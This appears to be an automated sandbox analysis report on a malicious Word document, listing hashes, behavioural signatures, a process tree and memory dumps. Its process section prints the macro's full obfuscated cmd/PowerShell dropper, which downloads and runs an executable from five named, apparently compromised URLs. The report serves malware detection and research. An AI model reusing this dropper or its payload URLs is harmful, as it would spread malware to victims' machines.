Analysis

  • max time kernel
    106s
  • max time network
    49s
  • platform
    windows7_x64
  • resource
    win7-20220715-en
  • resource tags

    arch:x64arch:x86image:win7-20220715-enlocale:en-usos:windows7-x64system
  • submitted
    24-07-2022 20:51

General

  • Target

    25e20dba1686718cf283d2c42000451173871d93561d6b320295168643d53b1c.doc

  • Size

    82KB

  • MD5

    3c0c13ebe452fa340ce659c07a5d670f

  • SHA1

    786925a614d7856ac61e24d429adbcbe7faab6d2

  • SHA256

    25e20dba1686718cf283d2c42000451173871d93561d6b320295168643d53b1c

  • SHA512

    acf93a10760aea3ecbdbb82601f4ddb943f689b4e0fb7b861aa878a77d0a6d89fe50315a98dd98b3eae4612eebea7b7573d8096cb2c91f667711724beac8b332

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://binsuloomgroup.com/wp-content/uploads/NefRZe_crlN072r_S

exe.dropper

http://jcpersonaliza.com.br/g0i_4UcIJs

exe.dropper

http://medicspoint.pk/5RKX6Ot_r3wyO

exe.dropper

http://lailarahman.com/NLwq7z5_VIN4p7AR_00KDII

exe.dropper

http://aryahospitalksh.com/h1rAZ_HEFn0J_E

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\25e20dba1686718cf283d2c42000451173871d93561d6b320295168643d53b1c.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1092
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1136
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $NewMexico37='Lock29';$deposit24=new-object Net.WebClient;$AutomotiveAutomotiveBaby17='http://binsuloomgroup.com/wp-content/uploads/NefRZe_crlN072r_S@http://jcpersonaliza.com.br/g0i_4UcIJs@http://medicspoint.pk/5RKX6Ot_r3wyO@http://lailarahman.com/NLwq7z5_VIN4p7AR_00KDII@http://aryahospitalksh.com/h1rAZ_HEFn0J_E'.Split('@');$matrix4='Forward98';$array43 = '773';$InvestmentAccount1='Fresh78';$driver39=$env:public+'\'+$array43+'.exe';foreach($Opensource38 in $AutomotiveAutomotiveBaby17){try{$deposit24.DownloadFile($Opensource38, $driver39);$Handmade2='mesh46';If ((Get-Item $driver39).length -ge 80000) {Invoke-Item $driver39;$RefinedRubberBall12='taskforce34';break;}}catch{}}$iterate77='Buckinghamshire33';
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:892
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell $NewMexico37='Lock29';$deposit24=new-object Net.WebClient;$AutomotiveAutomotiveBaby17='http://binsuloomgroup.com/wp-content/uploads/NefRZe_crlN072r_S@http://jcpersonaliza.com.br/g0i_4UcIJs@http://medicspoint.pk/5RKX6Ot_r3wyO@http://lailarahman.com/NLwq7z5_VIN4p7AR_00KDII@http://aryahospitalksh.com/h1rAZ_HEFn0J_E'.Split('@');$matrix4='Forward98';$array43 = '773';$InvestmentAccount1='Fresh78';$driver39=$env:public+'\'+$array43+'.exe';foreach($Opensource38 in $AutomotiveAutomotiveBaby17){try{$deposit24.DownloadFile($Opensource38, $driver39);$Handmade2='mesh46';If ((Get-Item $driver39).length -ge 80000) {Invoke-Item $driver39;$RefinedRubberBall12='taskforce34';break;}}catch{}}$iterate77='Buckinghamshire33';
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1700

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1092-70-0x000000007138D000-0x0000000071398000-memory.dmp

      Filesize

      44KB

    • memory/1092-74-0x000000007138D000-0x0000000071398000-memory.dmp

      Filesize

      44KB

    • memory/1092-63-0x00000000064EA000-0x00000000064EE000-memory.dmp

      Filesize

      16KB

    • memory/1092-55-0x00000000703A1000-0x00000000703A3000-memory.dmp

      Filesize

      8KB

    • memory/1092-73-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1092-60-0x000000007138D000-0x0000000071398000-memory.dmp

      Filesize

      44KB

    • memory/1092-61-0x00000000064EA000-0x00000000064EE000-memory.dmp

      Filesize

      16KB

    • memory/1092-62-0x00000000064EA000-0x00000000064EE000-memory.dmp

      Filesize

      16KB

    • memory/1092-57-0x0000000075481000-0x0000000075483000-memory.dmp

      Filesize

      8KB

    • memory/1092-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1092-54-0x0000000072921000-0x0000000072924000-memory.dmp

      Filesize

      12KB

    • memory/1136-59-0x000007FEFBE31000-0x000007FEFBE33000-memory.dmp

      Filesize

      8KB

    • memory/1700-68-0x0000000004B30000-0x0000000005181000-memory.dmp

      Filesize

      6.3MB

    • memory/1700-69-0x0000000005480000-0x00000000054DB000-memory.dmp

      Filesize

      364KB

    • memory/1700-67-0x000000006ACB0000-0x000000006B25B000-memory.dmp

      Filesize

      5.7MB

    • memory/1700-71-0x000000006ACB0000-0x000000006B25B000-memory.dmp

      Filesize

      5.7MB

    • memory/1700-72-0x000000006ACB0000-0x000000006B25B000-memory.dmp

      Filesize

      5.7MB